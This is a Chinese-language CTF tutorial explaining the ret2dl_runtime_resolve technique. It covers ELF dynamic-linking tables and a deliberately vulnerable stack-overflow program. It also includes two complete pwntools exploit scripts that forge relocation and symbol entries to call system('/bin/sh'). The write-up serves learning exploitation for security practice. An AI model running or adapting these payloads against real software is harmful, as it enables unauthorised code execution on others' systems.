0x0.前置知识:

四个表:

  1. ELF Symbol Table(.dynsym)
typedef struct
{
  Elf32_Word    st_name; //符号名,是相对.dynstr起始的偏移
  Elf32_Addr    st_value;
  Elf32_Word    st_size;
  unsigned char st_info; //对于导入函数符号而言,它是0x12
  unsigned char st_other;
  Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0
  1. ELF String Table(.dynstr)

​ “.dynstr”是动态链接字符串表。其第一个字节为0,然后包含动态链接所需的字符串(导入函数名等)(以\x00结尾)。

  1. ELF REL Relocation Table (.rel.plt)
typedef struct{
           Elf32_Addr r_offset;
           Elf32_Word r_info;
    //r_info存的也是偏移,是在dynsym表里的偏移
}Elf32_Rel;
//例如read,他在这里是107h就是偏移为1的导入函数,从ELF Symbol Table里找
  1. .dynamic
typedef struct
{
  Elf32_Sword  d_tag;       /* Dynamic entry type */
  union
    {
      Elf32_Word d_val;          /* Integer value */
      Elf32_Addr d_ptr;          /* Address value */
    } d_un;
} Elf32_Dyn;

​ .dynamic段里面保存了动态链接器所需要的基本信息,比如依赖于哪些共享对象,动态链接符号表的位置(.dynsym)、动态链接重定位表的位置(.rel.plt)、动态链接字符串表的位置(.dynstr)。

​ 想找到.dynsym,就必须先找到.dynamic的地址,因此.dynamic主要用于寻找与动态链接相关的其他段( .dynsym .dynstr .rela.plt 等段)。

​ 它由一个类型值即d_tag和一个数值或指针。union是一个联合体,同时定义了一个数值d_val和一个指针d_ptr,但是一次只能存储一个值,因此这个联合体的大小为4字节,而整个结构体Elf32_Dyn为8字节。

0x1.核心所在:

_dl_runtime_resolve(link_map_obj, reloc_arg)
/*该函数的运行模式如下:
1.首先使用参数一(link_map_obj)访问.dynamic表(第三个结构体成员)取出.dynstr .dynsym .rel.plt三表的首地址。
2.参数二(reloc_offset) + .rel.plt首地址,
  得到所需调用函数的ELF32_REL的指针,记作rel。
3.rel->r_info 算术左移8位作为.dynsym表中的"下标"
  得到所需调用函数的ELF32_Sym的指针,记作sym。
4.sym->st_name得到所需函数在.dynstr表中的结构体偏移
  .dynstr首地址 + 该结构体偏移量得到该函数符号名字符串指针。
5.在动态链接库中查找这个函数的地址()--->_dl_lookup_symbol_x函数
  并把真实地址赋值给rel表的第二个成员,即是GOT表
6.调用这个函数。
*/
//x86情况: reloc_arg == reloc_offset,含义是所重定位符号的重定位项距离重定位表“.rel.plt”起始位置的偏移。所调用函数重定位项地址 = JMPREL + reloc_offset。

利用调用read函数来体会一下这个过程:

struct link_map
  {
    /* These first few members are part of the protocol with the debugger.
       This is the same format used in SVR4.  */

    ElfW(Addr) l_addr;    /* Base address shared object is loaded at.  */
    char *l_name;     /* Absolute file name object was found in.  */
    ElfW(Dyn) *l_ld;      /* Dynamic section of the shared object.  */
    struct link_map *l_next, *l_prev; /* Chain of loaded objects.  */
};

​ link_map参数第三偏移处为我们的.dynamic地址

​ 从.dynamic取出.dynstr、.dynsym、.rel.plt的地址

​ rel.plt的值加上参数reloc_index,即是ELF REL Relocation Table的指针,0x804833c

​ 读表可得:r_offset=0x804A00C,,r_info=0x107
​ 其中r_offset是read的.got.plt地址,也是解析之后的真实地址写入的地方。

​ r_info算术右移8为作为dynsym的下标即0x107>>8=1
​ 0x80481dc+1*0X10(一个结构体大小)= 0x80481EC

​ 查询一下此处的地址内容:st_name即索引为0x20

​ 因此最终的read函数函数名字符串的地址为.dynstr的地址加上之前拿到的.dynstr的索引,即0804827C+0x20=0804829C

​ 下一步调用_dl_lookup_symbol_x函数,去动态库里进行遍历搜索,也就是我们上述的大致过程。

0x2.漏洞所在:

  1. dl_resolve函数不会检查对应的符号是否越界,它只会根据我们所给定的数据来执行。
  2. dl_resolve 函数最后的解析根本上依赖于所给定的字符串。

控制dl函数第二个参数的大小,以便于指向自己所控制的区域,从而伪造一个指定的重定位表项。
伪造重定位表项,使得重定位表项所指的符号也在自己可以控制的范围内。
伪造符号内容,使得符号对应的名称也在自己可以控制的范围内。

0x3.使用条件:

  • 条件1:题目未给出libc库。
  • 条件2:程序未开启PIE保护。如果开启了PIE保护,则还需要通过泄露获取基地址。
  • 条件3:程序未开启FULL RELRO。

0x4.尝试解题:

#include <stdio.h>
#include <unistd.h>
int init()
{
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  setvbuf(stderr, 0, 1, 0);
  return alarm(60);
}
int vuln()
{
  char v1[40]; 

  return read(0, v1, 0x100);
}

int main()
{
    init();
    vuln();
    return 0;
}
:/ret2dl$ checksec pwn
[*] '/ret2dl/pwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

int vuln()
{
  char v1[40]; // [esp+0h] [ebp-28h] BYREF
  return read(0, (int)v1, 256);
}

​ payload速通版:

from pwn import *
context.arch = "i386"
c=process('/ret2dl/pwn')
elf=ELF('/ret2dl/pwn')

plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr 
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

read_plt = elf.plt['read'] 
read_got = elf.got['read'] 
leave_ret= 0x0804854A      
writable_addr = 0x0804a700 

Elf32_Sym_sys_addr = writable_addr + 32
align = 0x10-((Elf32_Sym_sys_addr-dynsym)&0xf) 
Elf32_Sym_sys_addr += align   
st_name = Elf32_Sym_sys_addr + 0x10 - dynstr 
Elf32_Sym_sys = p32(st_name) + p32(0) + p32(0) + p32(12) 

r_offset = read_got
r_index  = (Elf32_Sym_sys_addr-dynsym)/0x10
r_info   = int(r_index)<<8 | 0x7
reloc_index = writable_addr - rel_plt + 24
Elf32_rel_plt_sys = p32(r_offset) + p32(r_info) 
Elf32_rel_plt_sys_addr = reloc_index + rel_plt

payload1 = 0x2c * b'a'
payload1 += p32(read_plt)
payload1 += p32(0x0804852D) 
payload1 += p32(0)
payload1 += p32(writable_addr)
payload1 += p32(100)
c.send(payload1)

payload2 =  p32(plt0)   
payload2 += p32(reloc_index) 
payload2 += p32(0xdeadbeef)  
payload2 += p32(writable_addr+80)
payload2 += p32(0)          
payload2 += p32(0)          
payload2 += Elf32_rel_plt_sys 
payload2 += align*b'a'  
payload2 += Elf32_Sym_sys
payload2 += b'system\x00'
payload2 += (80-len(payload2))*b'a'
payload2 += b'/bin/sh\x00'
c.send(payload2)

payload3 =  0x28 * b'a'
payload3 += p32(writable_addr-4) 
payload3 += p32(leave_ret) 
c.send(payload3)

c.interactive()

​ payload详细版:

from pwn import *
context.arch = "i386"
c=process('/ret2dl/pwn')
elf=ELF('/ret2dl/pwn')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

def hexp(name):
    print(hex(name))

# 取地址,做好准备工作。
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr # ELF JMPREL Relocation Table
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr # 0x80481dc 
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

# hexp(plt0)
# hexp(rel_plt)
# hexp(dynsym)
# hexp(dynstr)
read_plt = elf.plt['read'] # 劫持调用
read_got = elf.got['read'] # got篡改写入
leave_ret= 0x0804854A      # 栈迁移
writable_addr = 0x0804a700 
# 找一个可写的区域,我们将栈迁移过去,而且我们发现ida中最末尾的地址才0x0804A080,我们写在a700后应该不会影响程序原有数据。
# 一.>>>>>>>>>>> 这里有个疑惑,为什么a000到b000都是可写的,但是只有a700后才能打通?
# 需要骗过_dl_runtime_resolve函数的话,我们就需要伪造我们的dynsym,dynstr,rel_plt表,还有reloc_index。

# 首先我们来构造dynsym表
Elf32_Sym_sys_addr = writable_addr + 32
# 构造了一个Elf32_Sym的结构体
align = 0x10-((Elf32_Sym_sys_addr-dynsym)&0xf) 
# 对齐操作
# 为什么要对齐呢?是相对于dynsym表而言的结构体地址,每个结构体的大小是0x10字节,所以要新构造一个的话当然要对齐啦。
# 对齐之后,更好在迁移栈中布局
Elf32_Sym_sys_addr += align   
# system在Dynsym表中的结构体地址构造好了
# 接下来构造system的dynsym表的结构体内容
st_name = Elf32_Sym_sys_addr + 0x10 - dynstr 
Elf32_Sym_sys = p32(st_name) + p32(0) + p32(0) + p32(12) 
# 把最终的system函数名称布置到了Elf32_Sym_sys_addr + 0x10的位置,因为dynsym表中的第一个结构体占0x10个字节

# 现在构造.rel.plt表
r_offset = read_got
r_index  = (Elf32_Sym_sys_addr-dynsym)/0x10
r_info   = int(r_index)<<8 | 0x7
# 现在倒推构造reloc_index,也就是dl函数的第二个参数
# rel.plt表的首地址值加上参数reloc_index,即是ELF REL Relocation Table的指针
reloc_index = writable_addr - rel_plt + 24
# 将rel.plt结构布置在了writable_addr + 24 处,为什么是24呢?
# 因为32是放sym结构体的位置,rel.plt的结构体只占8字节
Elf32_rel_plt_sys = p32(r_offset) + p32(r_info) 
Elf32_rel_plt_sys_addr = reloc_index + rel_plt
# 伪造的.rel.plt构造完成

# 伪造工作完成,现在开始利用:

# 第一次调用read函数,目的是完成第二次调用read函数的准备工作
payload1 = 0x2c * b'a'
payload1 += p32(read_plt)
payload1 += p32(0x0804852D) # vuln函数地址
payload1 += p32(0)
payload1 += p32(writable_addr)
payload1 += p32(100)
c.send(payload1)

# 第二次调用read函数,写入我们伪造的ROP链
payload2 =  p32(plt0)   # 0x8048380
payload2 += p32(reloc_index) # 0x23dc 构成read_plt-->read(a1,a2,a3),但是经过我们伪造的reloc_index,使得调用了system(a1);a2,a3就不需要了。
payload2 += p32(0xdeadbeef)  # 返回地址
payload2 += p32(writable_addr+80) # '/bin/sh\x00' addr
payload2 += p32(0)          
payload2 += p32(0)          
payload2 += Elf32_rel_plt_sys 
# 为什么是rel -- > sym --> str 的顺序呢?
# 因为这是按照_dl_runtime_resolve函数的运行模式来决定的,详情请见博文[核心所在]
payload2 += align*b'a'  
# 我现在理解的是我们伪造的dynsym结构体必须相对于dynsym的首地址是0x10对齐的,不然就会报错
# 感觉这一点,应该是根据底层实现函数的机制来决定的。
# 这是根据我们前面伪造关系的来决定的,对齐dynsym即是sym在栈中的地址-dynsym能被0x10除尽
payload2 += Elf32_Sym_sys
payload2 += b'system\x00'
payload2 += (80-len(payload2))*b'a'
payload2 += b'/bin/sh\x00'
c.send(payload2)

# 第三次调用read函数,将栈迁移到我们ROP链的地方
payload3 =  0x28 * b'a'
payload3 += p32(writable_addr-4) # ebp
payload3 += p32(leave_ret) # eip
# gdb.attach(c)
# pause()
c.send(payload3)

c.interactive()

0X5.参考文章链接:

  1. https://sp4n9x.github.io/2020/08/15/ret2_dl_runtime_resolve%E8%AF%A6%E8%A7%A3/
  2. https://ciphersaw.me/ctf-wiki/pwn/linux/stackoverflow/advanced_rop/